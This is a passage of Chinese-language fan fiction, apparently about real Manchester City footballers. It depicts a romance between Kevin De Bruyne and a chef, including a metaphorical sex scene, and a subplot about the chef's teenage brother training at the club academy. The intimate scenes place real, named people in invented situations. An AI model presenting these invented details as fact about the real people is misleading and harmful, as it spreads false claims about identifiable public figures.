“什么…”克里奇利被他一本正经的说辞给逗笑,接着又被他胳膊肘怼了一下,“噢…我听着,听着呢。” “别紧张。”德布劳内轻轻倚着他。 “我不紧张,只是我在这恐怕god会紧张。” “别瞎说!” 这时教堂响起了悠扬的大提琴声,几个身着黑袍带着头巾的修女和虔诚的信徒们组成的唱诗班在排练曲目。 台下只有他们两个观众,还有咖啡厅的几个员工在休憩。 这个氛围实在是太令人拘谨了,克里奇利感到不适,因为他脑子不受控制的老是想那些莫名其妙不合时宜的画面。 那种被他称为直男每30秒,gay男每18秒就出现一次的那种动图,为了转移注意力,他看向德布劳内。 心想,他为什么要自己陪他来这里,去小酒馆喝下午酒难道不好吗,再去洗个桑拿泡个温泉,晚上回去吃个山珍炖鸡汤,晚上蹦迪到12点第二天还是美美的水光脸。 一直欣赏了三遍唱圣经,克里奇利终于按耐不住,他问德布劳内,“你想让我忏悔吗,凯文,恐怕我说了god也不听,他不接纳我,不如对你说,我真的,我……” 他对着德布劳内又说不出来追妻火葬场的话了,他那天其实也算是说了大实话,没有冒犯到他,要说抱歉不如说凯文,让我们试试行吗,但是在这种场合,就算他敢说,也不是表白的好地方,他怕他说了会引发地震。 他没说的,德布劳内替他说了。 “你愿意为了我牺牲自己,困在这种一对一的爱情关系里,把自己荒淫无度的信仰换成忠诚和守候并对未来充满希望吗?”德布劳内再次问他关于romantic relationship的话题,似乎并不因为上次他的拒绝而有什么难以启齿的回避。 克里奇利愣了一秒,对他说的那些英语单词感到钦佩,到底谁是英国人,他想,凯文真的是天赋型选手,言语精准暴击他这个高中肄业的大学渣。 “这算是gay的爱情宣言吗,凯文。” “回答我,布莱恩。” “凯文,我没法向你保证或者说我发誓,因为我还需要调教。” “真他妈是大实话啊,布莱恩,我恨你也恨不起来,因为你太直了,fuck,不是那个直。” “哈哈,谢谢你的宽容,凯文,我爱你。” 如果不是场合不合时宜,克里奇利在说完我爱你的时候就应该有所表示,两个人侧着头对望着,时间和空气仿佛都凝滞了,只有对方深深浅浅的呼吸像时令的柳絮一般拂过他们的面颊,令他们坐不住了。 “走吧,我也觉得再呆下去会发生什么倒霉的事,比如这个柱子我看着有点斜。” 德布劳内说完唰的站起来,又揪着他敞着怀的皮夹克一角,像刚进来时一样又把他拖了出去。 “等等,我得去尿尿。” 克里奇利憋了快半小时,陪着他一直听音乐听唱诗还被他堵在窗边问了像面试一样的问题,搞得他紧张的都快冒汗了。 这天晚上,克里奇利做了四菜一汤,三个人坐在饭桌前,每个人都宣布了一个好消息。 克里奇利说:“我前30年都白活了,以前的布莱恩克里奇利死了,现在我是……” “布莱恩德布劳内?”德布劳内打断了他的话,引得托马斯爆笑,笑了一阵就笑不出来了,他哥改姓,他是不是也得改。 “凯文,sister in law(嫂子)。”托马斯还是向着他哥,也不怕德布劳内凶他。 德布劳内刚要抬手打他,克里奇利就先打了他。 “怎么了?难道你是sister啊?”托马斯一时蒙圈。 “吃你的饭。”克里奇利端起酒杯抿了一口,接着说,“让我说完,现在我是你男朋友,凯文。” 德布劳内看着他笑。 “好好好,那我也说一个好消息。”托马斯咽下一口饭,擦擦嘴,煞有介事的说,“下个月我就要参加初选,为我加油吧!希望你们的投资不会打水漂,初选就有赞助了,而我也会获得人生第一桶金。” “选上再说吧,你看你瘦的跟个猴儿似的。”克里奇利捏了捏他的胳膊,硬邦邦的都是骨头。 “嗯,你得增肌增重,明天早上8点跟我上班去。”德布劳内命令他。 “上什么班?”克里奇利替他问道。 “我想过了,托马斯现在正是塑型的好时候,还不到18岁,身体各方面还不够成熟,需要下点功夫,我动用点个人资源,你从明天开始跟着我,去曼城青训训练去,每天早上8点到9点正好是他们拉练体能上器械的时候,练完了再去打工。” “真的吗?凯文?”托马斯听了反应了一会,他要把他带进曼城训练体系去接受正规的足球领域的训练,这太不可思议了,自己小时候踢过球,后来因为没钱进社团就放弃了,现在既可以踢球健身又可以拓展自己的社交圈子,真的是太好了。 “凯文你是大好人!”托马斯搂住他脖子就亲了一口。 德布劳内被他亲的头发颤了颤,他一边擦脸一边说,“你别给我惹事就行,少干没脑子易冲动的事。” “听见没,托马斯。”克里奇利敲打他,“曼城可不是什么人都能去的,那里的训练体系非常正规,你要珍惜。” 托马斯使劲点头,恨不得立刻到明天早上。 “也不许三天打鱼两天晒网,贵在坚持,早起晚归是你该挨累的时候。”克里奇利又开始当大家长。 “好了,他能不能跟得上还不一定呢,那里虽然都是小孩,可个顶个的强壮,我担心托马斯未必能坚持下来。” “我能!相信我!” “嗯,那我也说一个好消息吧。”德布劳内搓了搓杯沿,引得他俩都瞪大眼睛等着他发布喜讯。 他说:“我底薪涨了,再加上这个月全勤奖,可以把我的游轮装修一下,到时候就可以带着老婆孩子一起去海上‘迪士尼’蹦迪吃草莓冰淇淋坐大摩托艇了。” “咳咳……”克里奇利扶额,感觉被德布劳内狠狠敲打了,现在感到血往脑子里涌,想就地拖拽他去睡觉。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 晚饭还没结束,有的…… 晚饭还没结束,有的人已经按耐不住了,趁着自己还没喝多,便伸出手来邀请对面这个脸色红润的男人和他来一场说走就走的床旅。 德布劳内喝了一杯红酒,不知道是气氛太好还是烛光太暖,热的他想脱衣服,结果克里奇利先脱了,还向他伸出了魔爪。 本就感到热的德布劳内,被他大手覆住,顺着手臂抚上了脖颈,那人不顾旁边的小龄观众,直接起身凑过去就亲上了德布劳内的嘴。 “哇!”托马斯瞪大了眼睛,看着他们在自己面前上演基情对嘴。 克里奇利这次吻的坚定用力,生怕他跑了一般,用虎口死死地卡住他的脖子,带着倔强和一丝侵略的情绪,低头压住他的嘴唇,不容许他有半分后退。 德布劳内本来就热的出汗,被他这么一吻更是要被点着了,他也不想后退,前后都是他给的空子,就让烈火在酒精的引燃下烧的更旺吧。 随着他的力量,德布劳内也从座位上站起来,迎着他的热吻和他纠缠在一起。 慢慢的,那些矜持和压抑都随着热浪被灼烧成灰烬,只有各种角度的碰撞在迸发更猛烈的火星,让托马斯一边直呼受不了,一边瞪着大眼睛一眨不眨的看热闹。 克里奇利一手搂着德布劳内的腰,一手支开托马斯快要贴上来的脸,无情的把他隔在了那扇门外。 咔塔一声还落上了锁。 托马斯在门外起哄:“付费内容我也要看啊!!” 德布劳内嘴唇被他亲的发木,整个上半身被他结实有力的臂膀给牢牢困住,脚步也变得细碎不稳,现在想后悔都后悔不了了。 他好像自己第一次和他亲热时的那样,有一种冲破一切的勇气和太久没这么释放的狂热。 遇到他之前,自己已经不碰男人很久了,都要忘了那是一种什么感觉了,也曾明确的告诉自己,不可以再对男人抱有什么期待。 接下来克里奇利再次让他感受到碰男人和被男人碰是多么危险又刺激的事情。 克里奇利帮他把衣服拽下来,双手一推就把他推倒在身后的大床上。 高大的身影覆盖了上去。 好色,自私,霸道驱使着身上的人目的性很强的开发着手里的猎物,属于男侗的不知边界的修养在不断拓宽德布劳内的视野,让他觉得第一次着实是克里奇利让着他了。 他无论如何也起不来,抢不到A位了。指缝被他骨感的手指卡的生疼,头发也被他紧攥着一点一点的慢慢收拢。 这进攻属性拉满的绝色top从精神和力量上给了他双重压迫,让他无法撼动分毫。 这份力量来势汹汹,却也足够温柔。 在这方面,受的一方无需费劲,所有的感觉都被攻牵着鼻子走。 在克里奇利面前,尴尬和陌生通通不存在,他的操作就像手握厨师?*? 刀,游刃有余的把大鲜鱼给咔嚓了。 让德布劳内心甘情愿的成为他手里肥美的大鱼肉,还是粉色的蓝鳍金枪鱼,被他放在案板上翻过来翻过去,直到最后一道甜品端上桌,才结束这标准西餐出餐流程,然而克里奇利不是西餐厨师,他极其享受庖丁解鱼的畅快,反复体验,反复品尝。 德布劳内从未想过自己从猫变成了鱼,现在真的好像被他大卸八块,关节酸胀的躺在床上,头发湿答答的贴在脸上,要不是被他拉起来抱着进浴室,他真的想立刻昏睡过去。 洗了澡以后,他又有了点精神,他侧卧在床上,看着克里奇利事后抽烟等着身上的水珠自然干,看上去的确瘦了不少,一呼一吸肋骨都分明了,胸肌还可以,腰身更紧致精干,他忍不住一寸寸的摸上去。 “你为什么一直保持单身,像你这样的货色应该很抢手才对。”他摸着摸着突然感慨了一句。 “是很抢手,所以恭喜你。”克里奇利抽完烟,准备搂着他睡觉。 德布劳内看着他吃饱喝足后嘴角挂着一丝餍足的笑意,还艺高人胆大的呈口舌之利,就想给他一巴掌。 “老实说,你就是贪图享乐,在舞池里一个眼神就可以锁定目标,这一晚上不用费多少脑细胞,只需要朝着火辣的身体释放你的自由基就行了。” “哈哈…你看上去很不满。”克里奇利没有什么理由反驳他,因为他说的都是实话。 “你需要调教的东西太多了。”说着他就扬起手打了他一下,打了他肌肉饱满的胸肌。 “是啊,野马不好驯服,看你的本事了,Sir.” 他翻身压住他,把没干透的发梢蹭在他脸上,刚才的锐利硬朗的刀现在化作一朵云,带着一丝潮湿的触感,贴在他的肩膀上,沉沉的睡去。 第二天,托马斯早早就守在他们的房间门口,等着德布劳内带他去曼城青训营。 克里奇利醒来的时候,他俩都不见了。 他今天没有早班,10点到单位就行。这期间,托马斯已经开始了他的第一天试训。 青训营教练尼尔森是德布劳内曾经亨克的队友,也是老乡,老朋友拜托他给带带孩子也没什么,但17岁才开始踢球实在是太晚了,这东西吃基本功的。 听着他们在讨论自己,托马斯心里直打鼓,看到场上的训练感觉自己就像那个皮球一样,被踢来踢去。 场上也不都是小孩啊,还有比他高的怎么回事,他看见一个瘦高个儿在场上带着一帮小孩跑来跑去,于是指着他问道:“这不是也有大龄儿童吗,看上去可不比我小。” “那是球队队长,别看他年龄不大,在这踢6年了,今年再踢一届U19,就去一队报到了。” “噢?麦卡蒂吗?上次来过,人不够的时候。”凯文看了一眼。 这时,不知道谁把球踢到边线这来了,正好到了托马斯的脚下。 “你试试。”尼尔森和德布劳内一起对他说。 他后退了几步,卯足了劲儿,一脚抽上去,由于没穿足球鞋加上发力太足把自己给撂倒了不说,没吃准部位还把脚尖捅的生疼。 他嗷的一声躺在地上不知道该捂屁股还是脚趾头,恨不得从这草坪上挖个洞钻进去。 他开出去的球旋转着来到麦卡蒂的脚下,被他插花脚一停,接着挑起来抽到球门里去了,还冲这边喊了一声“好球!” 德布劳内把他拉起来,脸上也有些冷汗不好意思去擦,他给托马斯打圆场说:“南美的底子应该不差。”接着拉着尼尔森走到一边,小声跟他说:“说实话,你就当他是个旁听生,早上8点到9点拉体能上器械带带他就行,球技练不练无所谓,他又不吃这碗饭。” “那好说,你要是让我把他带到一队上去就是纯难为我了。” “还不知道他能坚持几天呢。” 两个人在一边把托马斯的事安排好,托马斯就站在一边看场上的小孩哥们踢球,看的他真心想冲上去,已经忘了刚才是怎么摔的屁股墩儿了。 突然那边传来哈哈大笑声。 两个人聊了这么久才发现他们说家乡话托马斯根本听不懂,还避着他跟要把他卖了似的。 就这样,托马斯加入了曼城青训队,每天早上8点到9点练体能,健身,偶尔也碰碰球。 别人不知道,以为是选进来的南美苗子,但是球技等于零,不晓得他到底有什么本事,练了几天才发现,这孩子只有一个优点,就是永不服输和跑不死。 那也不能不会停球传球啊,光在场上瞎跑吗,作为队长的麦卡蒂决定好好带带他。 麦卡蒂叫他来更衣室问他:“你怎么9点就走啊?一个小时能练出什么来?” 他说:“啊,我得打工啊,我又不是职业球员,这里能让我享受专业训练不收我费就很好了,不像你们有工资有奖金。” “你连双球鞋都没有,就算不是职业的也不能瞎胡闹啊,场地很滑,你又不会摔,受伤了怎么办?” “……” 托马斯看了一眼这个比他高半头的金发男孩,一口标准好听的英语听上去是在训他实际上语气又很轻柔,似乎对他不专业的态度表示不满。 他解释道:“我其实是来…” 还没等说完,麦卡蒂把他座位底下的一双粉色球鞋塞进他怀里,说:“试试看合适不。” “这…不行,我不能要。” “你先试试。” 这是一双彪马新款新球鞋,上面的商标还没剪,一看就很贵。 “这双我穿小了,你试试。” 在他执意劝说下,托马斯只好试了试,尺码正好,甚至比他现在穿的破板鞋都要合脚。 麦卡蒂蹲下,在他脚尖处捏了捏,然后仰起头,深蓝色的眼睛看向他,微笑着对他说:“脚丫子不小啊,和我才差半个号。” 他刚要脱下来,麦卡蒂就拉着他往球场里走,一边走一边说,“你穿上专业的足球鞋再试试呢。” “会弄脏的。” “弄脏了就归你了,省的我一次都没穿扔垃圾桶里浪费它的价值。” 托马斯对他咧嘴笑,在清晨的柔光下,白皙透亮的小脸看上去一点没经过风吹日晒,精致的五官也没有经过岁月的打磨,看上去像个文静的甜妹子,谁知穿上足球鞋后,撒开腿就跑到绿茵场上,用三天小成的足弓推球,还怪像那么回事。 麦卡蒂抱着肩在一边看,对这个插班生感到好奇的同时,还觉得有那么一点可惜,他有点踢球的天赋,怎么没早点来呢,那他现在来不打算走职业还拼命的想要跟上大部队,到底是要干嘛呢。 第42章 每个早晨,克里奇利…… 每个早晨,克里奇利醒来后都是他一个人在睡懒觉,桌上有托马斯给他留得煎的像线手套一样的老鸡蛋和很焦的焦糖黄油面包。 他一周只有一个早班,因为中餐和车餐他都亲力亲为,所以不能起早也是可以理解的,主要是他考虑到半夜蹦迪早上实在是起不来,就把早班放心的交给eleven负责,eleven下午接孩子正好和他错开,这样两人都高兴。 他看到厨房挂着他那白色的围裙就能想象的到托马斯系着它在厨房里手忙脚乱的样子。 托马斯早出晚归,自己匆忙吃上一口还不忘了给他留一口。 等克里奇利去上班的时候,托马斯已经上完一节训练课去便利店打工了。 德布劳内很会带孩子,早上带托马斯去上班,下班接他去培训班,还没事打听他在训练中有没有不适应或者感到自卑的地方。 尼尔森告诉他,托马斯进步很大,他现在已经不满足于上力量拉距离了,都敢在队内分组练习中去抢断拦截了,我正在考虑把他改造成一个后腰。 德布劳内震惊,说不用这么重视,他就是借读生,只要不惹事就行,你就当他小透明,不然被人说我利用私人关系占用训练资源就不好了。 尼尔森好奇他们的关系,说亲密吧还不鼓励他融入,说不亲密吧,还挺关心他的进步。 要说不好意思就不合适了,尼尔森告诉他,“凯文,也就是他年龄有点大,训练时间短,要是全职踢球的话,就凭我带徒弟的能力,不说能进一队,给二队当个替补也不是不行,到时候我还得感谢你给我送来一个好苗子呢。” 德布劳内汗颜,他也没料到自己会插手托马斯的事,现在看来他的投资眼光正在闪现威力。 德布劳内时不时的过问,让托马斯感到受宠若惊,这活脱脱的母亲形象更是让他觉得自己从18岁才开始重新做人。 克里奇利觉得是不是有点过了,到底谁才是他的再生之父。 他警告托马斯,自己的事业还是要自己打拼,不要老是觉得有人照顾就不努力了,你跟我不一样,我都30了,该享受人生了。 他这个名义上的哥哥只需要把他的游戏机充满电就行了,其余时间无非就是做一口粮食,然后自己玩自己的,健身,喝酒,看夜色,按时回家接受男德教育,他的确在享受人生,从30岁才开始的他从来都不敢想的人生。 除了比赛日客场出差外,他们每天都生活的规律又健康,搞的克里奇利感觉自己重生了,重生在一个老婆貌美如花,孩子直接十八,而且都很爱他的伊甸园之家。 但也不全是和谐有趣的,偶有争吵。 这天他下班后去超市买了些食材和酒,一回家发现他俩趴在地毯上在看他的相册。 该死的相册,明明收的很隐蔽了怎么还是被托马斯这个小混蛋给翻出来,还给德布劳内看。 那些都是他在中学和朋友们的搞怪照片还有他赚钱以后的风流韵事,虽然他记不得每一个和他约会的人,但有的会留下照片,年轻的那几年就像收集印章贴画一样,把小鲜肉们收集起来,变成爱日记。 为什么要有记日记这种陋习,将来都可能成为拷打自己的证据。 他听见德布劳内说,布莱恩那时候就像个不知廉耻的混球。 他走过去把相册从托马斯手里第二次夺回来,这次没着急合上,而是看看哪张照片惹的德布劳内说他是混球。 他看了一眼,低下头对德布劳内眨了眨眼睛,说,“没错凯文,不是像,我就是,现在也是。” 他把相册一扔,像那张照片一样,当时在学校毕业派对上从几个躺在沙发上的男孩身上跨过去,然后挑选了一个金发男孩,抓住他后脑勺的头发和他大跳蛇舞,被人拍下成为派对被禁止的big理由之一。 直到现在他还被圣马丁学校钉在耻辱柱上作为开派对前的反面教材教育后辈呢。 他对那些风流往事不感到羞耻反而有种冲破牢笼的感觉,但这感觉还没等发威就被德布劳内反握住手腕,压到沙发扶手上并狠抽了他的鼙鼓。 “记录床伴是吧?怎么最近没记录呢?” “最近的都能记住,而且洗照片容易出事。” “fuck you!”德布劳内整个人趴在他后背上,快把他腰给压断了。 “都是名人是吧?” “嗯。” 德布劳内猛地发力像叠罗汉一样狠撞了他几下。 他被从上而下的落体压迫压的哼了几声,委屈道:“我说实话你也不留情,那我告诉你,全是走肾没走心,你是不是就开心了。” 托马斯在一边看热闹又看嗨了,他说:“你俩要是这么个吵架法,我也要找男朋友了,真人show实在是太劲爆了!” “一边去!”他俩基情对战还不忘凶孩子去做作业。 “背你的稿子去!”克里奇利蛮力翻转过来又被他推倒在沙发上,双腿搭在扶手上,手里还攥着德布劳内的手腕,“明天你不是有演讲show吗?” “做你的俯卧撑去!”德布劳内挣脱开他钳制自己的大手,又抓住他的脚踝试图把他双腿分开扛在肩膀上,“明天有队内比赛,如果你不想被踢屁股的话。” 话音未落,克里奇利就把德布劳内一把拉到身上,双腿卡住他的腰身,大长胳膊圈住他的脖子,以一种被动躺平的姿势却主动热烈地亲上他的脖子和嘴唇,亲的他一会就支撑不住趴在克里奇利的身上,虽然依然保持着上位,却被他禁锢在怀里左亲右亲,想亲哪亲哪,亲到炸毛也无法挣脱开。 算了,既然选择了花心大萝卜,就要接受他的过去。 德布劳内不是gay,他只是敢碰男人,这在小小的比利时甚至算不上什么特殊xp,但偶尔尝一口鲜并不是他的价值观,要爱就往死里爱,不爱就罩上,生人勿近。 好在克里奇利现在只是嘴上花,实际行动还是围着他转的,只是不太会谈恋爱,被他说急了只会干体力活。 他教他怎么恋爱,比如累了一天坐在沙发上给他一只脚让他捏着玩,对着他吐槽傻b老板又在监工叫他们下一场必须赢,然后B席一脚致敬主席台。 说完了两人哈哈大笑。 他还教他怎么关心人。有风度,幽默,殷勤的关心自己的另一半,比如互夸。这一点克里奇利做的很好,他夸他屁股nice,脸蛋完美,特别是一头漂亮的金发在底下一颤一颤的,让人坚持不了太久。 德布劳内骂他几句离不开搞运动。 他就热烈的贴上去,撅着嘴吧亲他的脸,像一只雪地里撒欢的大狼狗,不停地嗅还伸出舌头舔,似乎要标记他或是吸取他的信息素,他的胡茬有他每天中午都会喝的奶油咖啡的香气。 而克里奇利是一股杜松子酒和爆珠香烟的混合气息,不好说好闻不好闻,带着一些征服的味道,辛辣刺激又让人迷糊。 德布劳内也夸他,夸他有进步,起码没在自己面前再干那种和他队友眉来眼去的事。 他的确收敛了许多,但还不能拒绝主动投怀送抱的帅哥,那种雨露均沾的浪荡气质经常暴露他是属于大家的,而不是专属于某个人的。 福登热衷于每次下车都喊他一声“Mr Critchley”,然后指指他的专属能量饮料,让他塞到自己胳膊弯里。 鲁本迪亚斯动不动就呼啦他的头毛,搂着他一起去健身,和他比肌肉大小趁机揩油和贴贴。 格拉利什则是在午饭的时候让他推荐好吃的,再麻烦他给自己盛汤,喝完一碗举起手让他再来一碗,笑嘻嘻的说你亲自端过来的才最好喝。 克里奇利说烫手啊。 他说烫的又不是我,然后拿过他的手给他呼呼。 这些德布劳内都看在眼里,暗自揣测自己到底是第几个,然后回家逼问他有没有对他们下手。 他说我们圈里人有个不成文的规定,永远不要讨论过去式,也不会再吃回头草。 说完后就被德布劳内绑在床头按住头狠狠惩罚他。 其实他遵守的也不够好,先是不小心说漏了他前男友的事,又大着胆子吃了回头草,才发现自己是真的栽了,一头栽进成熟男人的温柔乡里一梦千年不想醒来。 托马斯最近也跟掉了魂一样,早上不是忘了带这就是忘了带那,但他不会忘记带那双粉色的足球鞋。 那双印着M的订制足球鞋。 他真的在短短一个月的时间而且是每天一个小时的训练中,被练成了后腰。 这怎么可能? 德布劳内不相信,尼尔森也不敢相信,他队友更是不想相信,就算是天赋型选手也不可能在毫无基础的情况下如此速成吧。 但是他真的做到了,他发现自己不是热爱选美而是热爱这项充满战斗力和挑战性的运动。 他相信自己是跑不死的机器,这一个小时的每一秒他都在奔跑,练习,对抗和高强度的上器械。 而且他根本不知道累是什么,特别是麦卡蒂给他的举重机加重量的时候,他咬着牙也要推上去,麦卡蒂看着他用力,胳膊青筋凸起,小脸憋得通红,想辅助他避免他练的过猛而拉伤,但是每次还没等触碰他,他就推上去了。 在队伍里他除了球技不扎实之外,力量耐力速度和爆发力都得到了大幅提升,但是教练安排他打后腰的时候还是遭到了一些质疑的声音。 德布劳内对他说,尼尔森既然让你练这个位置就说明你有能扛这个位置的潜力,没事看看罗德里踢球,传球的合理性和拦截的意识以及出色的射门能力,这些都是一个后腰应该具备的基本素质。 托马斯问他:“是不是罗德里在后面,你就会很放心。” 德布劳内说:“那当然了,他可是现役最出色的后腰,我认为。” 克里奇利问,什么是后腰? 两个人瞪他一眼,喊他做饭去,别掺和专业问题。 克里奇利说,不管你踢前腰还是后腰,保护好自己,特别是你那张吃饭用的脸,别让你哥哥们钱白花了! 第43章 真不会鼓励孩子。德…… 真不会鼓励孩子。德布劳内剜了他一眼,继续和托马斯说踢球的事,让他权衡好事业和爱好,不要做什么都是一阵风。 托马斯认真的点点头,说:“我喜欢踢球,并不满足于一个小时的训练,只要有时间,我就去野球场和小孩们踢,不过我的球技确实不行,只要有人对我上身体我就会慌。” 德布劳内温柔的笑笑,眼里都是宠溺,“没办法,这个就是多练多看多上心。” 克里奇利在厨房一边掰着西兰花一边插言:“托马斯,你可真是笨呢,尼尔森才教你一个小时,这一个小时里大部分时间又是练身体,你在野球场和小孩踢又怎么会提高球技呢?” “那大哥你有什么见解?”托马斯趴在沙发上看着他等他发表什么睿智的意见。 “你眼前的这位不薅白不薅,光听他纸上谈兵就满足了?要我说,抱大腿也得找一个结实点的抱啊,凯文大腿够粗壮的。” 他挑了挑眉似笑非笑的转过身去忙活了。 “真有你的Brian,我哪有时间?” 德布劳内起身离开沙发,刚迈开腿就被托马斯一把抱住了。 “我真的太爱踢球了!”德布劳内走一步拖行他一步,“放开我,我宝贵的休息时间可不想再出一身汗。” “我给你补补,凯文。”克里奇利胳膊肘向内,往哪边都是满满的幸福。 德布劳内的确是没什么时间,他这个月全勤都要累死了,再抽出个人时间去带业余的新人确实不太现实,但口头上指导一下还是可以的。 托马斯小脑袋瓜也很聪明,没怎么学过习现在一学就像一块海绵似的吸收特别快。 他学到了就要去场上试试看。 他早上起的更早了,7点半就跑着去训练,他没有更衣橱,麦卡蒂给他找了个杂物箱,这样他就不用每天背着装备来回跑了。 他的勤奋努力大家看在眼里,但是他这个勤奋努力法也引起了队内内卷的风气,因为尼尔森总是不分时间场合训他们还不如一个业余的有上进心,本来就质疑他的来历和技术,教练总是拿一个业余水平都算不上的门外汉来敲打他们,队里一些人是不太高兴的。 这天拉练完体能,尼尔森让他们分组踢一场,为接下来的u19热身。 托马斯一般就是替补跑上几分钟,但最近尼尔森发现他竟然敢摔了,而且技术动作有点像亨克时期的凯文,步子迈的够大,上抢也足够犀利,护球还会转身了,于是让他上去打后腰。 但他第一次上场和职业球员踢球还是吃了一个大亏。 不是踢后腰吗,一堆人都不理解,光跑得快体力好就可以吗?后腰是一个技术含量很高的位置,教练这么安排难道不是打所有人的脸吗? 对手和队友都不高兴,队友给他的球又硬又飘,他拿不住被队友推出边线。 麦卡蒂和他一个队,跑过来拍拍他的头,像个大哥哥一样对他犯错十分包容,安慰他说,“不要紧,先停下来,多观察多出球。” 他应了一声,接着又迎着风跑起来。 队友们觉得他菜,不给他球权,对手们也觉得他菜,一直在过他,断他,冲撞他,穿裆羞辱他。 对面有个叫杰克逊的黑又壮,不知道是有意还是无意一脚把球闷到他脸上,他根本没有躲避的意识,生生挨了一“拳”,顿时眼冒金星倒地起不来了。 裁判吹停了比赛,除了队长麦卡蒂根本没人上前来过问,还在一边哈哈大笑,说他太业余了,这种球直接头球顶出去啊,还能用脸接。 “shame on you!”麦卡蒂凶了他们一句,“你们踢了多久了,他才踢多久,我们球队就是这种精神,嫉妒和怨恨!” 一向温文尔雅的小队长生气了! 惹队长生气可不是闹着玩的,麦卡蒂虽然下个赛季就要升队,但现在在队里还是很有话语权的,他要是不发话解散,没人敢提前下班。 他跑过去抱起托马斯,发现他嘴角流血了,脸上一个大红印子,还挺圆的,这下打的不轻,这半边脸下午得肿得像个灯笼无疑了。 麦卡蒂一边举手示意队医进来,一边关切的对他说,“托马斯,你流血了,去休息一会吧。” 托马斯被打的头有些懵,眼泪充盈在眼眶里,被麦卡蒂托起脸来左看右看的,泪水就顺着脸颊流下来,像被咬了一口的红番茄。 他一听流血了,立刻双手捂住了脸,惊恐万分的喊着:“啊!流血了?皮破了吗?快给我个镜子。” 被队长训了的队友们刚围过来就听他喊着要照镜子,憋不住又哈哈笑了起来。 “没破皮,可能是嘴里面破皮了。”麦卡蒂也被他说要照镜子给说懵了。 “我可不能破相了!”他匆忙的站起来,推开身边的人,一路小跑冲进卫生间。 比赛继续。 可麦卡蒂心已经跟着托马斯跑了,他想去看看托马斯到底有事没,怎么被球打成智障了,谁踢球还没被球砸过,女队也没这么娇气呀。 托马斯洗了好几遍脸,嘴里的血也洗干净了,可是左边脸还是又红又肿,嘴角还紫青紫青的,坏了,下午要试镜的,这副样子怎么跟导播解释呢。 要是错过这次试镜,钱白交了不说,下次还不知道什么时候有机会呢。 他沮丧的回到更衣室,慢吞吞的换衣服,不踢了,以后都不踢了,万一出了事自己的前程就断送了,怎么还哥哥的人情帐还有经济账,还砸了德布劳内的眼光,让他血本无归。 他脱了球衣一直在想这件事,都忘了要去打工的时间。 这时大家刚踢完热身赛陆陆续续回到更衣室,发现他还没走,一个个的又开始取笑他。 “小美女,脸都被踢花了,哥哥看看。”一个比他小的白人男孩弯下腰来“关心”他。 “哈哈哈…”更衣室笑成一团。 托马斯根本没听进去,他本来和他们也不熟,没必要搭理他们,而且他也不想惹事。 把球踢到他脸上的杰克逊也没任何表示,还对身边的人说,“太娇气了,谁还没被球闷过,麦卡蒂凶什么凶。” “就是,显得他多高尚。” 他们小声嘀咕着,这时麦卡蒂走进来,更衣室里顿时鸦雀无声,谁也不敢说话了。 “我走了,队长。”托马斯终于意识到自己该去打工了,不然要被扣钱,他打工的地方最近升级成大店了,经理说要提拔他当副店长呢,就不是赚时薪而是有固定收入的那种,但要等他18岁生日以后,为了这个固定收入他还是要好好表现的。 “没事了吧?”麦卡蒂走过去拉住他胳膊,再次询问他。 “看来这项运动不适合我,我得保护好我的…” “哈哈哈…”更衣室里又笑成一片。 “麦卡蒂,我们的小美女要去选美,你别耽误人家。” “嘶…”麦卡蒂扔过去一个狠叨叨的眼神,随即跟着托马斯出去了。 “没错,队长,我确实要去选美。”托马斯手里拎着衣服,仰着不太对称的小脸看着麦卡蒂,拥有一头金色头发巴掌脸的小队长比他大一岁,竟比他高将近一头,好像和克里奇利差不多高,目测185以上。 “他们跟你开玩笑,别往心里去,回头我说说他们,你以后要多注意点。” “我…我以后不来了。” “什么?你被打了一下就不来了?那你也太…” “娇气吗?”托马斯亮晶晶的眼睛注视着面前这个有些疑惑的大男孩,十分诚实的告诉他,“我来训练是为了塑形的,没想过要进球队,我还要去打工,攒钱进娱乐圈,我是真的要参加今年的世界先生大赛的。” “什么?真的吗?”麦卡蒂低头看着他,虽说不太相信,但看着这张过人的脸又觉得不像是开玩笑,他真的越看越好看,越看越像个小美女,脸上光滑的一点胡须都没有,唇红齿白,皮肤细嫩,眼眶深邃,以为是黑色的眼珠在强光下泛着蓝。 现在又梨花带雨楚楚可怜的,让麦卡蒂一时失神。 “谢谢你,队长,我会想你的。”托马斯一只手伸进他的腰间,轻轻的靠上去抱了抱他,然后低着头手不敢看他的眼睛,手里紧紧攥着那双粉色的球鞋,转身离开了。 等他回家的时候,无论怎么冰敷也没消下去浮肿,一看就像被人揍了似的吃饭都张不开嘴。 克里奇利问他跟人打架了,他说被球踢的,不敢再去了。 德布劳内笑着摇头,说,“我就说你坚持不了几天,叫你去踢球,结果你被球踢了,还嘤嘤嘤的不敢再去了,你叫我老脸往哪放,唉…” “我…” “托马斯!”克里奇利板起脸来,冷峻的眼神好像要穿透托马斯的眼睛,“你才刚入门,受了点挫折就放弃,不像话!你知道机会多么难得吗!” “算了算了。”德布劳内手覆在克里奇利的手背上,“别强迫他,他也是为了自己的事业,不像我,我就是吃这碗饭的,破相了是小事,伤病不断才是最让人难受的。” “你哪破相了,我看看。”克里奇利抬手就去搂德布劳内的脖子,拉到脸前近距离检查。 他的眉心确实有一道疤,平时还以为是他习惯皱眉皱成的眉间纹呢。 “凯文,你这…” “害,我不是说了,破相是小事,谁没有点疤啊,这都是战斗的功勋。”德布劳内摸摸自己的眉心,克里奇利的手覆在他的大腿上,那里也有一道记载痛苦和功勋的伤疤。 德布劳内转过来对托马斯说,“没事,你还是以你的事业为重,明天我和尼尔森说一声,就说你塑形目的达到了,不用练了,再练就真给他打后腰了。” “……”托马斯不吭声,眼泪哗哗的流下来,他不好意思去擦,只好低着头用肩膀把脸上的泪水蹭干。 他不是不想踢球,他还很热爱这项运动,他是真害怕破相了,让他们的投资打了水漂,现在他想选美不是为了自己那点虚荣心和挣快钱,而是想证明自己选的这条路是正确的并且下了功夫的,就算是踢球也是为了让自己增值,等成功赚了钱第一时间报答他这两个“亲哥哥”。 小小年纪就有了心事,这一宿他没睡着,一直搂着那双粉色球鞋,在被子里啪嗒啪嗒掉小珍珠。 第44章 第二天早上,托马斯…… 第二天早上,托马斯真的没有起来。平时克里奇利上班的时候他俩早就不见了,只有餐桌上一碟华夫饼告诉他早上托马斯吃了什么早餐。 德布劳内也没叫他,独自上班去了。 克里奇利走到沙发跟前,一把扯掉托马斯身上的毯子。 他怀里的球鞋啪嗒两声掉在了地上。 托马斯睁开惺忪的睡眼看了看他,哼唧了两声,然后转过去伸手搂住了沙发靠背,腿也搭在上面。 “赶紧起来!”克里奇利打了他一下。 